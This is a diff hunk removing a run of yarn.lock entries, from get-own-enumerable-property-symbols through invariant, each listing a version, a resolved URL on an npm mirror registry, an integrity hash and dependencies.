-  integrity sha1-FfWfN2+FXERpY5SPDSTNNje0q8Y=
-  dependencies:
-    function-bind "^1.1.1"
-    has "^1.0.3"
-    has-symbols "^1.0.1"
-
-get-own-enumerable-property-symbols@^3.0.0:
-  version "3.0.2"
-  resolved "https://registry.nlark.com/get-own-enumerable-property-symbols/download/get-own-enumerable-property-symbols-3.0.2.tgz#b5fde77f22cbe35f390b4e089922c50bce6ef664"
-  integrity sha1-tf3nfyLL4185C04ImSLFC85u9mQ=
-
-get-stream@^4.0.0:
-  version "4.1.0"
-  resolved "https://registry.npm.taobao.org/get-stream/download/get-stream-4.1.0.tgz#c1b255575f3dc21d59bfc79cd3d2b46b1c3a54b5"
-  integrity sha1-wbJVV189wh1Zv8ec09K0axw6VLU=
-  dependencies:
-    pump "^3.0.0"
-
-get-value@^2.0.3, get-value@^2.0.6:
-  version "2.0.6"
-  resolved "https://registry.nlark.com/get-value/download/get-value-2.0.6.tgz#dc15ca1c672387ca76bd37ac0a395ba2042a2c28"
-  integrity sha1-3BXKHGcjh8p2vTesCjlbogQqLCg=
-
-getpass@^0.1.1:
-  version "0.1.7"
-  resolved "https://registry.nlark.com/getpass/download/getpass-0.1.7.tgz#5eff8e3e684d569ae4cb2b1282604e8ba62149fa"
-  integrity sha1-Xv+OPmhNVprkyysSgmBOi6YhSfo=
-  dependencies:
-    assert-plus "^1.0.0"
-
-glob-parent@^3.1.0:
-  version "3.1.0"
-  resolved "https://registry.nlark.com/glob-parent/download/glob-parent-3.1.0.tgz?cache=0&sync_timestamp=1620073321855&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fglob-parent%2Fdownload%2Fglob-parent-3.1.0.tgz#9e6af6299d8d3bd2bd40430832bd113df906c5ae"
-  integrity sha1-nmr2KZ2NO9K9QEMIMr0RPfkGxa4=
-  dependencies:
-    is-glob "^3.1.0"
-    path-dirname "^1.0.0"
-
-glob-parent@^5.0.0, glob-parent@~5.1.0:
-  version "5.1.2"
-  resolved "https://registry.nlark.com/glob-parent/download/glob-parent-5.1.2.tgz?cache=0&sync_timestamp=1620073321855&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fglob-parent%2Fdownload%2Fglob-parent-5.1.2.tgz#869832c58034fe68a4093c17dc15e8340d8401c4"
-  integrity sha1-hpgyxYA0/mikCTwX3BXoNA2EAcQ=
-  dependencies:
-    is-glob "^4.0.1"
-
-glob-to-regexp@^0.3.0:
-  version "0.3.0"
-  resolved "https://registry.nlark.com/glob-to-regexp/download/glob-to-regexp-0.3.0.tgz#8c5a1494d2066c570cc3bfe4496175acc4d502ab"
-  integrity sha1-jFoUlNIGbFcMw7/kSWF1rMTVAqs=
-
-glob@^7.0.3, glob@^7.1.1, glob@^7.1.2, glob@^7.1.3, glob@^7.1.4, glob@^7.1.6:
-  version "7.1.7"
-  resolved "https://registry.nlark.com/glob/download/glob-7.1.7.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fglob%2Fdownload%2Fglob-7.1.7.tgz#3b193e9233f01d42d0b3f78294bbeeb418f94a90"
-  integrity sha1-Oxk+kjPwHULQs/eClLvutBj5SpA=
-  dependencies:
-    fs.realpath "^1.0.0"
-    inflight "^1.0.4"
-    inherits "2"
-    minimatch "^3.0.4"
-    once "^1.3.0"
-    path-is-absolute "^1.0.0"
-
-global-modules@2.0.0:
-  version "2.0.0"
-  resolved "https://registry.nlark.com/global-modules/download/global-modules-2.0.0.tgz#997605ad2345f27f51539bea26574421215c7780"
-  integrity sha1-mXYFrSNF8n9RU5vqJldEISFcd4A=
-  dependencies:
-    global-prefix "^3.0.0"
-
-global-prefix@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.npm.taobao.org/global-prefix/download/global-prefix-3.0.0.tgz#fc85f73064df69f50421f47f883fe5b913ba9b97"
-  integrity sha1-/IX3MGTfafUEIfR/iD/luRO6m5c=
-  dependencies:
-    ini "^1.3.5"
-    kind-of "^6.0.2"
-    which "^1.3.1"
-
-globals@^11.1.0:
-  version "11.12.0"
-  resolved "https://registry.nlark.com/globals/download/globals-11.12.0.tgz#ab8795338868a0babd8525758018c2a7eb95c42e"
-  integrity sha1-q4eVM4hooLq9hSV1gBjCp+uVxC4=
-
-globals@^12.1.0:
-  version "12.4.0"
-  resolved "https://registry.nlark.com/globals/download/globals-12.4.0.tgz#a18813576a41b00a24a97e7f815918c2e19925f8"
-  integrity sha1-oYgTV2pBsAokqX5/gVkYwuGZJfg=
-  dependencies:
-    type-fest "^0.8.1"
-
-globby@8.0.2:
-  version "8.0.2"
-  resolved "https://registry.nlark.com/globby/download/globby-8.0.2.tgz#5697619ccd95c5275dbb2d6faa42087c1a941d8d"
-  integrity sha1-VpdhnM2VxSdduy1vqkIIfBqUHY0=
-  dependencies:
-    array-union "^1.0.1"
-    dir-glob "2.0.0"
-    fast-glob "^2.0.2"
-    glob "^7.1.2"
-    ignore "^3.3.5"
-    pify "^3.0.0"
-    slash "^1.0.0"
-
-globby@^6.1.0:
-  version "6.1.0"
-  resolved "https://registry.nlark.com/globby/download/globby-6.1.0.tgz#f5a6d70e8395e21c858fb0489d64df02424d506c"
-  integrity sha1-9abXDoOV4hyFj7BInWTfAkJNUGw=
-  dependencies:
-    array-union "^1.0.1"
-    glob "^7.0.3"
-    object-assign "^4.0.1"
-    pify "^2.0.0"
-    pinkie-promise "^2.0.0"
-
-graceful-fs@^4.1.11, graceful-fs@^4.1.15, graceful-fs@^4.1.2, graceful-fs@^4.1.6, graceful-fs@^4.2.0, graceful-fs@^4.2.2:
-  version "4.2.6"
-  resolved "https://registry.nlark.com/graceful-fs/download/graceful-fs-4.2.6.tgz#ff040b2b0853b23c3d31027523706f1885d76bee"
-  integrity sha1-/wQLKwhTsjw9MQJ1I3BvGIXXa+4=
-
-growly@^1.3.0:
-  version "1.3.0"
-  resolved "https://registry.nlark.com/growly/download/growly-1.3.0.tgz#f10748cbe76af964b7c96c93c6bcc28af120c081"
-  integrity sha1-8QdIy+dq+WS3yWyTxrzCivEgwIE=
-
-gzip-size@5.1.1:
-  version "5.1.1"
-  resolved "https://registry.npm.taobao.org/gzip-size/download/gzip-size-5.1.1.tgz#cb9bee692f87c0612b232840a873904e4c135274"
-  integrity sha1-y5vuaS+HwGErIyhAqHOQTkwTUnQ=
-  dependencies:
-    duplexer "^0.1.1"
-    pify "^4.0.1"
-
-handle-thing@^2.0.0:
-  version "2.0.1"
-  resolved "https://registry.npm.taobao.org/handle-thing/download/handle-thing-2.0.1.tgz#857f79ce359580c340d43081cc648970d0bb234e"
-  integrity sha1-hX95zjWVgMNA1DCBzGSJcNC7I04=
-
-har-schema@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.nlark.com/har-schema/download/har-schema-2.0.0.tgz#a94c2224ebcac04782a0d9035521f24735b7ec92"
-  integrity sha1-qUwiJOvKwEeCoNkDVSHyRzW37JI=
-
-har-validator@~5.1.3:
-  version "5.1.5"
-  resolved "https://registry.nlark.com/har-validator/download/har-validator-5.1.5.tgz#1f0803b9f8cb20c0fa13822df1ecddb36bde1efd"
-  integrity sha1-HwgDufjLIMD6E4It8ezds2veHv0=
-  dependencies:
-    ajv "^6.12.3"
-    har-schema "^2.0.0"
-
-harmony-reflect@^1.4.6:
-  version "1.6.2"
-  resolved "https://registry.npm.taobao.org/harmony-reflect/download/harmony-reflect-1.6.2.tgz#31ecbd32e648a34d030d86adb67d4d47547fe710"
-  integrity sha1-Mey9MuZIo00DDYattn1NR1R/5xA=
-
-has-ansi@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/has-ansi/download/has-ansi-2.0.0.tgz#34f5049ce1ecdf2b0649af3ef24e45ed35416d91"
-  integrity sha1-NPUEnOHs3ysGSa8+8k5F7TVBbZE=
-  dependencies:
-    ansi-regex "^2.0.0"
-
-has-bigints@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.npm.taobao.org/has-bigints/download/has-bigints-1.0.1.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fhas-bigints%2Fdownload%2Fhas-bigints-1.0.1.tgz#64fe6acb020673e3b78db035a5af69aa9d07b113"
-  integrity sha1-ZP5qywIGc+O3jbA1pa9pqp0HsRM=
-
-has-flag@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.npm.taobao.org/has-flag/download/has-flag-3.0.0.tgz#b5d454dc2199ae225699f3467e5a07f3b955bafd"
-  integrity sha1-tdRU3CGZriJWmfNGfloH87lVuv0=
-
-has-flag@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.npm.taobao.org/has-flag/download/has-flag-4.0.0.tgz#944771fd9c81c81265c4d6941860da06bb59479b"
-  integrity sha1-lEdx/ZyByBJlxNaUGGDaBrtZR5s=
-
-has-symbols@^1.0.1, has-symbols@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.nlark.com/has-symbols/download/has-symbols-1.0.2.tgz#165d3070c00309752a1236a479331e3ac56f1423"
-  integrity sha1-Fl0wcMADCXUqEjakeTMeOsVvFCM=
-
-has-value@^0.3.1:
-  version "0.3.1"
-  resolved "https://registry.nlark.com/has-value/download/has-value-0.3.1.tgz#7b1f58bada62ca827ec0a2078025654845995e1f"
-  integrity sha1-ex9YutpiyoJ+wKIHgCVlSEWZXh8=
-  dependencies:
-    get-value "^2.0.3"
-    has-values "^0.1.4"
-    isobject "^2.0.0"
-
-has-value@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.nlark.com/has-value/download/has-value-1.0.0.tgz#18b281da585b1c5c51def24c930ed29a0be6b177"
-  integrity sha1-GLKB2lhbHFxR3vJMkw7SmgvmsXc=
-  dependencies:
-    get-value "^2.0.6"
-    has-values "^1.0.0"
-    isobject "^3.0.0"
-
-has-values@^0.1.4:
-  version "0.1.4"
-  resolved "https://registry.npm.taobao.org/has-values/download/has-values-0.1.4.tgz#6d61de95d91dfca9b9a02089ad384bff8f62b771"
-  integrity sha1-bWHeldkd/Km5oCCJrThL/49it3E=
-
-has-values@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/has-values/download/has-values-1.0.0.tgz#95b0b63fec2146619a6fe57fe75628d5a39efe4f"
-  integrity sha1-lbC2P+whRmGab+V/51Yo1aOe/k8=
-  dependencies:
-    is-number "^3.0.0"
-    kind-of "^4.0.0"
-
-has@^1.0.0, has@^1.0.3:
-  version "1.0.3"
-  resolved "https://registry.npm.taobao.org/has/download/has-1.0.3.tgz#722d7cbfc1f6aa8241f16dd814e011e1f41e8796"
-  integrity sha1-ci18v8H2qoJB8W3YFOAR4fQeh5Y=
-  dependencies:
-    function-bind "^1.1.1"
-
-hash-base@^3.0.0:
-  version "3.1.0"
-  resolved "https://registry.npm.taobao.org/hash-base/download/hash-base-3.1.0.tgz#55c381d9e06e1d2997a883b4a3fddfe7f0d3af33"
-  integrity sha1-VcOB2eBuHSmXqIO0o/3f5/DTrzM=
-  dependencies:
-    inherits "^2.0.4"
-    readable-stream "^3.6.0"
-    safe-buffer "^5.2.0"
-
-hash.js@^1.0.0, hash.js@^1.0.3:
-  version "1.1.7"
-  resolved "https://registry.npm.taobao.org/hash.js/download/hash.js-1.1.7.tgz#0babca538e8d4ee4a0f8988d68866537a003cf42"
-  integrity sha1-C6vKU46NTuSg+JiNaIZlN6ADz0I=
-  dependencies:
-    inherits "^2.0.3"
-    minimalistic-assert "^1.0.1"
-
-he@^1.2.0:
-  version "1.2.0"
-  resolved "https://registry.npm.taobao.org/he/download/he-1.2.0.tgz#84ae65fa7eafb165fddb61566ae14baf05664f0f"
-  integrity sha1-hK5l+n6vsWX922FWauFLrwVmTw8=
-
-hex-color-regex@^1.1.0:
-  version "1.1.0"
-  resolved "https://registry.nlark.com/hex-color-regex/download/hex-color-regex-1.1.0.tgz#4c06fccb4602fe2602b3c93df82d7e7dbf1a8a8e"
-  integrity sha1-TAb8y0YC/iYCs8k9+C1+fb8aio4=
-
-hmac-drbg@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.nlark.com/hmac-drbg/download/hmac-drbg-1.0.1.tgz#d2745701025a6c775a6c545793ed502fc0c649a1"
-  integrity sha1-0nRXAQJabHdabFRXk+1QL8DGSaE=
-  dependencies:
-    hash.js "^1.0.3"
-    minimalistic-assert "^1.0.0"
-    minimalistic-crypto-utils "^1.0.1"
-
-hosted-git-info@^2.1.4:
-  version "2.8.9"
-  resolved "https://registry.npm.taobao.org/hosted-git-info/download/hosted-git-info-2.8.9.tgz#dffc0bf9a21c02209090f2aa69429e1414daf3f9"
-  integrity sha1-3/wL+aIcAiCQkPKqaUKeFBTa8/k=
-
-hpack.js@^2.1.6:
-  version "2.1.6"
-  resolved "https://registry.npm.taobao.org/hpack.js/download/hpack.js-2.1.6.tgz#87774c0949e513f42e84575b3c45681fade2a0b2"
-  integrity sha1-h3dMCUnlE/QuhFdbPEVoH63ioLI=
-  dependencies:
-    inherits "^2.0.1"
-    obuf "^1.0.0"
-    readable-stream "^2.0.1"
-    wbuf "^1.1.0"
-
-hsl-regex@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.nlark.com/hsl-regex/download/hsl-regex-1.0.0.tgz#d49330c789ed819e276a4c0d272dffa30b18fe6e"
-  integrity sha1-1JMwx4ntgZ4nakwNJy3/owsY/m4=
-
-hsla-regex@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/hsla-regex/download/hsla-regex-1.0.0.tgz#c1ce7a3168c8c6614033a4b5f7877f3b225f9c38"
-  integrity sha1-wc56MWjIxmFAM6S194d/OyJfnDg=
-
-html-encoding-sniffer@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.nlark.com/html-encoding-sniffer/download/html-encoding-sniffer-1.0.2.tgz#e70d84b94da53aa375e11fe3a351be6642ca46f8"
-  integrity sha1-5w2EuU2lOqN14R/jo1G+ZkLKRvg=
-  dependencies:
-    whatwg-encoding "^1.0.1"
-
-html-entities@^1.2.1:
-  version "1.4.0"
-  resolved "https://registry.nlark.com/html-entities/download/html-entities-1.4.0.tgz#cfbd1b01d2afaf9adca1b10ae7dffab98c71d2dc"
-  integrity sha1-z70bAdKvr5rcobEK59/6uYxx0tw=
-
-html-escaper@^2.0.0:
-  version "2.0.2"
-  resolved "https://registry.npm.taobao.org/html-escaper/download/html-escaper-2.0.2.tgz?cache=0&sync_timestamp=1613643546928&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fhtml-escaper%2Fdownload%2Fhtml-escaper-2.0.2.tgz#dfd60027da36a36dfcbe236262c00a5822681453"
-  integrity sha1-39YAJ9o2o238viNiYsAKWCJoFFM=
-
-html-minifier-terser@^5.0.1:
-  version "5.1.1"
-  resolved "https://registry.npm.taobao.org/html-minifier-terser/download/html-minifier-terser-5.1.1.tgz#922e96f1f3bb60832c2634b79884096389b1f054"
-  integrity sha1-ki6W8fO7YIMsJjS3mIQJY4mx8FQ=
-  dependencies:
-    camel-case "^4.1.1"
-    clean-css "^4.2.3"
-    commander "^4.1.1"
-    he "^1.2.0"
-    param-case "^3.0.3"
-    relateurl "^0.2.7"
-    terser "^4.6.3"
-
-html-webpack-plugin@4.0.0-beta.11:
-  version "4.0.0-beta.11"
-  resolved "https://registry.npm.taobao.org/html-webpack-plugin/download/html-webpack-plugin-4.0.0-beta.11.tgz#3059a69144b5aecef97708196ca32f9e68677715"
-  integrity sha1-MFmmkUS1rs75dwgZbKMvnmhndxU=
-  dependencies:
-    html-minifier-terser "^5.0.1"
-    loader-utils "^1.2.3"
-    lodash "^4.17.15"
-    pretty-error "^2.1.1"
-    tapable "^1.1.3"
-    util.promisify "1.0.0"
-
-htmlparser2@^6.1.0:
-  version "6.1.0"
-  resolved "https://registry.nlark.com/htmlparser2/download/htmlparser2-6.1.0.tgz?cache=0&sync_timestamp=1618846794076&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fhtmlparser2%2Fdownload%2Fhtmlparser2-6.1.0.tgz#c4d762b6c3371a05dbe65e94ae43a9f845fb8fb7"
-  integrity sha1-xNditsM3GgXb5l6UrkOp+EX7j7c=
-  dependencies:
-    domelementtype "^2.0.1"
-    domhandler "^4.0.0"
-    domutils "^2.5.2"
-    entities "^2.0.0"
-
-http-deceiver@^1.2.7:
-  version "1.2.7"
-  resolved "https://registry.nlark.com/http-deceiver/download/http-deceiver-1.2.7.tgz#fa7168944ab9a519d337cb0bec7284dc3e723d87"
-  integrity sha1-+nFolEq5pRnTN8sL7HKE3D5yPYc=
-
-http-errors@1.7.2:
-  version "1.7.2"
-  resolved "https://registry.npm.taobao.org/http-errors/download/http-errors-1.7.2.tgz#4f5029cf13239f31036e5b2e55292bcfbcc85c8f"
-  integrity sha1-T1ApzxMjnzEDblsuVSkrz7zIXI8=
-  dependencies:
-    depd "~1.1.2"
-    inherits "2.0.3"
-    setprototypeof "1.1.1"
-    statuses ">= 1.5.0 < 2"
-    toidentifier "1.0.0"
-
-http-errors@~1.6.2:
-  version "1.6.3"
-  resolved "https://registry.npm.taobao.org/http-errors/download/http-errors-1.6.3.tgz#8b55680bb4be283a0b5bf4ea2e38580be1d9320d"
-  integrity sha1-i1VoC7S+KDoLW/TqLjhYC+HZMg0=
-  dependencies:
-    depd "~1.1.2"
-    inherits "2.0.3"
-    setprototypeof "1.1.0"
-    statuses ">= 1.4.0 < 2"
-
-http-errors@~1.7.2:
-  version "1.7.3"
-  resolved "https://registry.npm.taobao.org/http-errors/download/http-errors-1.7.3.tgz#6c619e4f9c60308c38519498c14fbb10aacebb06"
-  integrity sha1-bGGeT5xgMIw4UZSYwU+7EKrOuwY=
-  dependencies:
-    depd "~1.1.2"
-    inherits "2.0.4"
-    setprototypeof "1.1.1"
-    statuses ">= 1.5.0 < 2"
-    toidentifier "1.0.0"
-
-http-parser-js@>=0.5.1:
-  version "0.5.3"
-  resolved "https://registry.npm.taobao.org/http-parser-js/download/http-parser-js-0.5.3.tgz#01d2709c79d41698bb01d4decc5e9da4e4a033d9"
-  integrity sha1-AdJwnHnUFpi7AdTezF6dpOSgM9k=
-
-http-proxy-middleware@0.19.1:
-  version "0.19.1"
-  resolved "https://registry.nlark.com/http-proxy-middleware/download/http-proxy-middleware-0.19.1.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fhttp-proxy-middleware%2Fdownload%2Fhttp-proxy-middleware-0.19.1.tgz#183c7dc4aa1479150306498c210cdaf96080a43a"
-  integrity sha1-GDx9xKoUeRUDBkmMIQza+WCApDo=
-  dependencies:
-    http-proxy "^1.17.0"
-    is-glob "^4.0.0"
-    lodash "^4.17.11"
-    micromatch "^3.1.10"
-
-http-proxy@^1.17.0:
-  version "1.18.1"
-  resolved "https://registry.nlark.com/http-proxy/download/http-proxy-1.18.1.tgz?cache=0&sync_timestamp=1618847045732&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fhttp-proxy%2Fdownload%2Fhttp-proxy-1.18.1.tgz#401541f0534884bbf95260334e72f88ee3976549"
-  integrity sha1-QBVB8FNIhLv5UmAzTnL4juOXZUk=
-  dependencies:
-    eventemitter3 "^4.0.0"
-    follow-redirects "^1.0.0"
-    requires-port "^1.0.0"
-
-http-signature@~1.2.0:
-  version "1.2.0"
-  resolved "https://registry.nlark.com/http-signature/download/http-signature-1.2.0.tgz#9aecd925114772f3d95b65a60abb8f7c18fbace1"
-  integrity sha1-muzZJRFHcvPZW2WmCruPfBj7rOE=
-  dependencies:
-    assert-plus "^1.0.0"
-    jsprim "^1.2.2"
-    sshpk "^1.7.0"
-
-https-browserify@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.nlark.com/https-browserify/download/https-browserify-1.0.0.tgz#ec06c10e0a34c0f2faf199f7fd7fc78fffd03c73"
-  integrity sha1-7AbBDgo0wPL68Zn3/X/Hj//QPHM=
-
-iconv-lite@0.4.24, iconv-lite@^0.4.24:
-  version "0.4.24"
-  resolved "https://registry.nlark.com/iconv-lite/download/iconv-lite-0.4.24.tgz#2022b4b25fbddc21d2f524974a474aafe733908b"
-  integrity sha1-ICK0sl+93CHS9SSXSkdKr+czkIs=
-  dependencies:
-    safer-buffer ">= 2.1.2 < 3"
-
-icss-utils@^4.0.0, icss-utils@^4.1.1:
-  version "4.1.1"
-  resolved "https://registry.npm.taobao.org/icss-utils/download/icss-utils-4.1.1.tgz?cache=0&sync_timestamp=1605801291394&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Ficss-utils%2Fdownload%2Ficss-utils-4.1.1.tgz#21170b53789ee27447c2f47dd683081403f9a467"
-  integrity sha1-IRcLU3ie4nRHwvR91oMIFAP5pGc=
-  dependencies:
-    postcss "^7.0.14"
-
-identity-obj-proxy@3.0.0:
-  version "3.0.0"
-  resolved "https://registry.nlark.com/identity-obj-proxy/download/identity-obj-proxy-3.0.0.tgz#94d2bda96084453ef36fbc5aaec37e0f79f1fc14"
-  integrity sha1-lNK9qWCERT7zb7xarsN+D3nx/BQ=
-  dependencies:
-    harmony-reflect "^1.4.6"
-
-ieee754@^1.1.4:
-  version "1.2.1"
-  resolved "https://registry.nlark.com/ieee754/download/ieee754-1.2.1.tgz#8eb7a10a63fff25d15a57b001586d177d1b0d352"
-  integrity sha1-jrehCmP/8l0VpXsAFYbRd9Gw01I=
-
-iferr@^0.1.5:
-  version "0.1.5"
-  resolved "https://registry.npm.taobao.org/iferr/download/iferr-0.1.5.tgz#c60eed69e6d8fdb6b3104a1fcbca1c192dc5b501"
-  integrity sha1-xg7taebY/bazEEofy8ocGS3FtQE=
-
-ignore@^3.3.5:
-  version "3.3.10"
-  resolved "https://registry.npm.taobao.org/ignore/download/ignore-3.3.10.tgz#0a97fb876986e8081c631160f8f9f389157f0043"
-  integrity sha1-Cpf7h2mG6AgcYxFg+PnziRV/AEM=
-
-ignore@^4.0.6:
-  version "4.0.6"
-  resolved "https://registry.npm.taobao.org/ignore/download/ignore-4.0.6.tgz#750e3db5862087b4737ebac8207ffd1ef27b25fc"
-  integrity sha1-dQ49tYYgh7RzfrrIIH/9HvJ7Jfw=
-
-immer@1.10.0:
-  version "1.10.0"
-  resolved "https://registry.nlark.com/immer/download/immer-1.10.0.tgz?cache=0&sync_timestamp=1619363110051&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fimmer%2Fdownload%2Fimmer-1.10.0.tgz#bad67605ba9c810275d91e1c2a47d4582e98286d"
-  integrity sha1-utZ2BbqcgQJ12R4cKkfUWC6YKG0=
-
-import-cwd@^2.0.0:
-  version "2.1.0"
-  resolved "https://registry.nlark.com/import-cwd/download/import-cwd-2.1.0.tgz?cache=0&sync_timestamp=1618846826220&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fimport-cwd%2Fdownload%2Fimport-cwd-2.1.0.tgz#aa6cf36e722761285cb371ec6519f53e2435b0a9"
-  integrity sha1-qmzzbnInYShcs3HsZRn1PiQ1sKk=
-  dependencies:
-    import-from "^2.1.0"
-
-import-fresh@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/import-fresh/download/import-fresh-2.0.0.tgz?cache=0&sync_timestamp=1608469561643&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fimport-fresh%2Fdownload%2Fimport-fresh-2.0.0.tgz#d81355c15612d386c61f9ddd3922d4304822a546"
-  integrity sha1-2BNVwVYS04bGH53dOSLUMEgipUY=
-  dependencies:
-    caller-path "^2.0.0"
-    resolve-from "^3.0.0"
-
-import-fresh@^3.0.0, import-fresh@^3.1.0:
-  version "3.3.0"
-  resolved "https://registry.npm.taobao.org/import-fresh/download/import-fresh-3.3.0.tgz?cache=0&sync_timestamp=1608469561643&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fimport-fresh%2Fdownload%2Fimport-fresh-3.3.0.tgz#37162c25fcb9ebaa2e6e53d5b4d88ce17d9e0c2b"
-  integrity sha1-NxYsJfy566oublPVtNiM4X2eDCs=
-  dependencies:
-    parent-module "^1.0.0"
-    resolve-from "^4.0.0"
-
-import-from@^2.1.0:
-  version "2.1.0"
-  resolved "https://registry.nlark.com/import-from/download/import-from-2.1.0.tgz#335db7f2a7affd53aaa471d4b8021dee36b7f3b1"
-  integrity sha1-M1238qev/VOqpHHUuAId7ja387E=
-  dependencies:
-    resolve-from "^3.0.0"
-
-import-local@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.nlark.com/import-local/download/import-local-2.0.0.tgz#55070be38a5993cf18ef6db7e961f5bee5c5a09d"
-  integrity sha1-VQcL44pZk88Y72236WH1vuXFoJ0=
-  dependencies:
-    pkg-dir "^3.0.0"
-    resolve-cwd "^2.0.0"
-
-imurmurhash@^0.1.4:
-  version "0.1.4"
-  resolved "https://registry.npm.taobao.org/imurmurhash/download/imurmurhash-0.1.4.tgz#9218b9b2b928a238b13dc4fb6b6d576f231453ea"
-  integrity sha1-khi5srkoojixPcT7a21XbyMUU+o=
-
-indent-string@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.npm.taobao.org/indent-string/download/indent-string-4.0.0.tgz?cache=0&sync_timestamp=1618679561483&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Findent-string%2Fdownload%2Findent-string-4.0.0.tgz#624f8f4497d619b2d9768531d58f4122854d7251"
-  integrity sha1-Yk+PRJfWGbLZdoUx1Y9BIoVNclE=
-
-indexes-of@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.npm.taobao.org/indexes-of/download/indexes-of-1.0.1.tgz#f30f716c8e2bd346c7b67d3df3915566a7c05607"
-  integrity sha1-8w9xbI4r00bHtn0985FVZqfAVgc=
-
-infer-owner@^1.0.3, infer-owner@^1.0.4:
-  version "1.0.4"
-  resolved "https://registry.npm.taobao.org/infer-owner/download/infer-owner-1.0.4.tgz#c4cefcaa8e51051c2a40ba2ce8a3d27295af9467"
-  integrity sha1-xM78qo5RBRwqQLos6KPScpWvlGc=
-
-inflight@^1.0.4:
-  version "1.0.6"
-  resolved "https://registry.npm.taobao.org/inflight/download/inflight-1.0.6.tgz#49bd6331d7d02d0c09bc910a1075ba8165b56df9"
-  integrity sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk=
-  dependencies:
-    once "^1.3.0"
-    wrappy "1"
-
-inherits@2, inherits@2.0.4, inherits@^2.0.1, inherits@^2.0.3, inherits@^2.0.4, inherits@~2.0.1, inherits@~2.0.3:
-  version "2.0.4"
-  resolved "https://registry.nlark.com/inherits/download/inherits-2.0.4.tgz#0fa2c64f932917c3433a0ded55363aae37416b7c"
-  integrity sha1-D6LGT5MpF8NDOg3tVTY6rjdBa3w=
-
-inherits@2.0.1:
-  version "2.0.1"
-  resolved "https://registry.nlark.com/inherits/download/inherits-2.0.1.tgz#b17d08d326b4423e568eff719f91b0b1cbdf69f1"
-  integrity sha1-sX0I0ya0Qj5Wjv9xn5GwscvfafE=
-
-inherits@2.0.3:
-  version "2.0.3"
-  resolved "https://registry.nlark.com/inherits/download/inherits-2.0.3.tgz#633c2c83e3da42a502f52466022480f4208261de"
-  integrity sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=
-
-ini@^1.3.5:
-  version "1.3.8"
-  resolved "https://registry.nlark.com/ini/download/ini-1.3.8.tgz#a29da425b48806f34767a4efce397269af28432c"
-  integrity sha1-op2kJbSIBvNHZ6Tvzjlyaa8oQyw=
-
-inquirer@7.0.4:
-  version "7.0.4"
-  resolved "https://registry.nlark.com/inquirer/download/inquirer-7.0.4.tgz#99af5bde47153abca23f5c7fc30db247f39da703"
-  integrity sha1-ma9b3kcVOryiP1x/ww2yR/OdpwM=
-  dependencies:
-    ansi-escapes "^4.2.1"
-    chalk "^2.4.2"
-    cli-cursor "^3.1.0"
-    cli-width "^2.0.0"
-    external-editor "^3.0.3"
-    figures "^3.0.0"
-    lodash "^4.17.15"
-    mute-stream "0.0.8"
-    run-async "^2.2.0"
-    rxjs "^6.5.3"
-    string-width "^4.1.0"
-    strip-ansi "^5.1.0"
-    through "^2.3.6"
-
-inquirer@^7.0.0:
-  version "7.3.3"
-  resolved "https://registry.nlark.com/inquirer/download/inquirer-7.3.3.tgz#04d176b2af04afc157a83fd7c100e98ee0aad003"
-  integrity sha1-BNF2sq8Er8FXqD/XwQDpjuCq0AM=
-  dependencies:
-    ansi-escapes "^4.2.1"
-    chalk "^4.1.0"
-    cli-cursor "^3.1.0"
-    cli-width "^3.0.0"
-    external-editor "^3.0.3"
-    figures "^3.0.0"
-    lodash "^4.17.19"
-    mute-stream "0.0.8"
-    run-async "^2.4.0"
-    rxjs "^6.6.0"
-    string-width "^4.1.0"
-    strip-ansi "^6.0.0"
-    through "^2.3.6"
-
-internal-ip@^4.3.0:
-  version "4.3.0"
-  resolved "https://registry.npm.taobao.org/internal-ip/download/internal-ip-4.3.0.tgz?cache=0&sync_timestamp=1605885528721&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Finternal-ip%2Fdownload%2Finternal-ip-4.3.0.tgz#845452baad9d2ca3b69c635a137acb9a0dad0907"
-  integrity sha1-hFRSuq2dLKO2nGNaE3rLmg2tCQc=
-  dependencies:
-    default-gateway "^4.2.0"
-    ipaddr.js "^1.9.0"
-
-internal-slot@^1.0.3:
-  version "1.0.3"
-  resolved "https://registry.nlark.com/internal-slot/download/internal-slot-1.0.3.tgz#7347e307deeea2faac2ac6205d4bc7d34967f59c"
-  integrity sha1-c0fjB97uovqsKsYgXUvH00ln9Zw=
-  dependencies:
-    get-intrinsic "^1.1.0"
-    has "^1.0.3"
-    side-channel "^1.0.4"
-
-invariant@^2.2.2, invariant@^2.2.4:
-  version "2.2.4"
-  resolved "https://registry.npm.taobao.org/invariant/download/invariant-2.2.4.tgz#610f3c92c9359ce1db616e538008d23ff35158e6"
